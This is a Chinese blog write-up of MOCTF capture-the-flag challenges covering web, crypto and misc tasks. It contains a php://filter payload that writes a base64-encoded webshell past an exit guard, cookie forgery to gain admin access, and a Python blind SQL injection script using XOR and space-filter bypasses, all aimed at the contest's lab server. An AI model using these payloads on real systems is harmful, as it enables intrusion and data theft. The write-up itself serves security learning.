MOCTF-WRITE-UP（二）

原创

郁离歌 于 2018-03-14 22:52:41 发布 1078 收藏 1
分类专栏： CTF-WRITE-UP 文章标签： moctf writeup CTF学习

本文链接：https://blog.csdn.net/like98k/article/details/79561720

MOCTF-WRITE-UP（二）

WEB

Flag在哪？

question:flag到底在哪！

Hint1: 跟一首歌有关。

Hint2: PPAP

answer：

其实一道脑洞题，burp抓包即可看到302跳转

```
1  where is flag!
2  I have a flag
3  I have a frog!
4  ah~ guess where is flag!
5  There is no flag!
```

23333典型的PPAP，我们猜测flagfrog.php
但是注意还是得抓包

```
1  GET /web7/frogflag.php HTTP/1.1
2  Host: 119.23.73.3:5001
3  Cache-Control: max-age=0
4  Upgrade-Insecure-Requests: 1
5  User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36
6  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
7  Accept-Language: zh-CN,zh;q=0.8
8  Connection: close
```

发送即可得到flag.

死亡退出

question:

Hint1: flag在flag.php，大佬们刷完题记得清理掉tmp中的数据！！！！

answer:

打开看到

```
<?php   show_source(__FILE__);   $c="<?php exit;?>";   @$c.=$_POST['c'];   @$filename=$_POST['file'];
  if(!isset($filename))                    {                                          file_put_contents('tmp.php', '');
  }                                @file_put_contents($filename, $c);   include('tmp.php'); ?>
```

两个点：

1.php的exit的绕过，我们可以使用base64编码。

2.文件读取，利用php伪协议读文件流。

因为题目说了flag在flag.php里面，所以写马。

<?php system('cat flag.php'); ?>

然后因为前面有<?php exit; ?>，但是base64解码会把<?;>过滤掉，所以出来的是phpexit，而“phpexit”一共7个字符，因为base64算法解码时是4个byte一组，所以给他增加1个“a”一共8个字符。这样，"phpexita"被正常解码，而后面我们传入的webshell的base64内容也被正常解码。结果就是<?php exit; ?>没有了。

payload：

c=aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTsgPz4=&file=php://filter/write=convert.base64-decode/resource=tmp.php

post*拿到flag*。

参考链接（p师傅的文章）：

> *https://www.leavesongs.com/PENETRATION/php-filter-magic.html*

美味的饼干

question:好吃！美味！

answer:

看到一个登陆界面，尝试用户名admin，密码123.

显示**登录成功！欢迎admin** 。

题目名是饼干，那么我们f12看一下cookie。

发现一串base64字符串。解码看一下是md5，再解密。得到user

我们使用admin用md5加密再base64之后改包发回去。得到flag。

火眼金睛

question:汝可千军万马之中识得吾项上flag?

answer:打开看到文本框里面很多字母，然后2秒刷新一次，发现字符串并不会变。写脚本计数得flag。

贴脚本：

```
import requests
import re
url = "http://119.23.73.3:5001/web10/index.php"
r = requests.get(url=url)
res_tr = r"'100'>(.*?)</textarea>"
flagtxt =  re.findall(res_tr,r.content)[0]
re_moctf = r"moctf"
moctf = re.findall(re_moctf,flagtxt)
number = len(moctf)
data = {
    "answer":number
}
url2 = "http://119.23.73.3:5001/web10/work.php"
s = requests.post(url=url2,data=data,cookies=r.cookies)
print s.content
```

简单注入

question:WOW！SQL injection is interesting！

answer:f12代码审计一下发现有?id=1的字样，说明id这是注入点。

测试?id=1,页面无回显。再测?id=1' or 1=1

发现出现

WHAT A FUCK!

可能过滤了空格，测试?id=1 '

依然报fuck。所以过滤了空格。我们用%0a或者使用/**/代替。

测试

```
1'/**/order/**/by/**/3#
```

没用，很烦。测了n久。

注意以下几点

1. 空格可以用圆括号替换
2. substr用left替换
3. 为了避免查询出来的字符串有ban掉的字符，hex后再进行比较
4. limit可以改成group_concat，直接查出所有数据

参考一叶飘零师傅的思路，可以用异或。

1	http://119.23.73.3:5004/?id=1'^1
2	回显为空白
3	http://119.23.73.3:5004/?id=1'^0
4	回显为Hello

```
import requests

flag = ""
for i in range(1,300):
for j in range(33,127):
# url = "http://119.23.73.3:5004/?
id=2'^(ascii(mid((select(group_concat(TABLE_NAME))from(information_schema.TABLES)where(TABLE_SCHEMA=database())),"+str(i)+",1))="+str(j)+")"
# url = "http://119.23.73.3:5004/?
id=2'^(ascii(mid((select(group_concat(COLUMN_NAME))from(information_schema.COLUMNS)where(TABLE_NAME='do_y0u_l1ke_long_t4ble_name')),"+str(i)+",1))="+str(j)+")"
url = "http://119.23.73.3:5004/?id=2'^(ascii(mid((select(d0_you_als0_l1ke_very_long_column_name)from(do_y0u_l1ke_long_t4ble_name)),"+str(i)+",1))="+str(j)+")"
r=requests.get(url=url)
if "Tip" in r.content:
flag +=chr(j)
print flag
break
```

得flag。

CRYPTO

贝斯族谱

一串base加密的字符串。

> *Vm0weGQxSXlSblJWV0d4WFlUSm9WRll3WkRSV01XeHlXa1pPYUZKc1NsWldSM1JQVmpGS2RHVkVRbFZXYkhCUVdWZHplRll4VG5OWGJGcFhaV3RhU1ZkV1kzaFRNVTVYVW01S2FGSnRhRzlVVm1oRFZWWmFjbHBFVWxSaVZrWTFWa2QwYTJGc1NuUlZiRkphWWtkU2RscFdXbXRXTVZaeVdrWndWMkV6UWpaV01uUnZWakZhZEZOc1dsaGlSMmhvVm1wT2IxTXhjRmhsUjBaWFlrZFNlVll5ZUVOV01rVjNZMFpTVjFaV2NGTmFSRVpEVld4Q1ZVMUVNRDA9=*
>
> 脚本跑一下解出：*ngn_qp{qdudtms0u1fz}*

明显的栅栏凯撒古典密码。
20个字符，栅栏加密可能是2，4，5，10.
都试一下发现是4.
得到npdug{t1nqmf_dszqu0}
凯撒跑一下得到flag。

奇怪汉字

question:2099年，年轻的江先生因为实在没钱于是将自己的魔法棒带到当铺出售，但当铺老板却给了他一张纸，上面这样写道：

由口中 由由夫 由由口 由由口 由中由

answer:典型当铺密码。对着表读一下得到flag。

MISC

捉迷藏

answer：一进去就看到一个假flag.....并没有比我皮。

把图片放winhex里面看一下，在末尾看到了flag.txt，zip压缩包文件格式的痕迹。

binwalk -e提取，得到flag.txt，看到里面是一串ASCII码，转一下字符得flag。

只写一点，有时间再补。（ε=ε=ε= ┏(゜ロ ゜;)┛ 逃